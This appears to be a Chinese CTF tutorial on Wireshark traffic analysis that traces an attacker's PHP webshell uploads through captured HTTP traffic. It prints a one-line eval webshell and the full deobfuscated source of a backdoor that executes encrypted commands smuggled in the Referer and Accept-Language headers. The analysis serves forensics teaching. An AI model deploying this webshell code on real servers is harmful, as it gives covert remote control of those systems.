Wireshark流量分析

目录

1.基本介绍

2.基本使用

1)数据包筛选:

2)筛选ip:

3)数据包还原

4)数据提取

3.wireshark实例


1.基本介绍

在CTF比赛中,对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件,参赛选手通过该文件筛选和过滤其中无关的流量信息,根据关键流量信息找出flag或者相关线索。

pcap流量包的分析通常都是通过图形化的网络嗅探器------wireshark进行的,这款嗅探器经过众多开发者的不断完善,现在已经成为使用最为广泛的安全工具之一。接下来,斗哥来为大家讲解这款工具的基本使用。

2.基本使用

Wireshark的基本使用分为数据包筛选、数据包搜索、数据包还原、数据提取四个部分。

1)数据包筛选:

数据包筛选功能是wireshark的核心功能,比如需要筛选出特定的协议如HTTP,Telnet等,也可能需要筛选出ip地址,端口等。

2)筛选ip:

●源ip筛选

输入命令:ip.src == 地址

3)数据包还原

在wireshark中,存在一个交追踪流的功能,可以将HTTP或TCP流量集合在一起并还原成原始数据,具体操作方式如下:

选中想要还原的流量包,右键选中,选择追踪流 -- TCP流/UPD流/SSL流/HTTP流。

可在弹出的窗口中看到被还原的流量信息

4)数据提取

Wireshark支持提取通过http传输(上传/下载)的文件内容,方法如下:

菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。鼠标右键点击 -- 选中 显示分组字节...

在弹出的窗口中设置开始和结束的字节(原字节数开头加3,结尾减3)

最后点击save as按钮导出。

导出结果:

3.wireshark实例

题目要求:

1.黑客第一次获得的php木马的密码是什么

2.黑客第二次上传php木马是什么时间

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求

所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑

正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"

上传的木马应该是:<?php eval($_POST['zzz']);?>

又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码此时z0传入base64编码后的数据,便可以执行恶意代码解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

PHP代码是通过混淆过的,让我们根本看不懂他的代码

还原后的代码:

php 复制代码
<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
 
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患

木马要利用,就必然会与数据包进行交互,仔细看看这两行代码

php 复制代码
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

获取http请求中的referer和accept_language字段的,与数据包产生了交互,所以可以基本断定这两个字段是黑客用来传输他想执行的命令的.我们随便看一个访问footer.php的包

所以木马通过HTTP协议中的referer头传递数据

相关推荐
va学弟9 分钟前
网络编程核心基础
运维·服务器·网络
llilian_1631 分钟前
延迟信号发生器 延迟脉冲信号发生器在激光触发领域的应用 高速脉冲信号发生器
功能测试·单片机·嵌入式硬件·测试工具·自动化
serve the people37 分钟前
IP 信用(IP Reputation/IP Credit)全解:定义、评分与实战应用
运维·网络·tcp/ip
软件供应链安全指南1 小时前
权威认证加持!云鲨RASP v4.0:信通院认可的应用内生安全防御标杆
网络·安全
梁辰兴1 小时前
计算机网络基础:进程之间的通信
网络·计算机网络·计算机·进程·计算机网络基础·梁辰兴·进程之间的通信
byzh_rc1 小时前
[深度学习网络从入门到入土] 反向传播backprop
网络·人工智能·深度学习
信看1 小时前
SIM7600x SIM826X 实现HTTP(S) POST
网络·网络协议·http
一条闲鱼_mytube1 小时前
智能体设计模式全景总结:21个模式快速串联指南
网络·设计模式
极安代理2 小时前
什么是HTTP隧道,怎么理解HTTP隧道?
网络·网络协议·http
水境传感 张园园2 小时前
自来水厂水质监测站:用数据守护饮水安全
运维·服务器·网络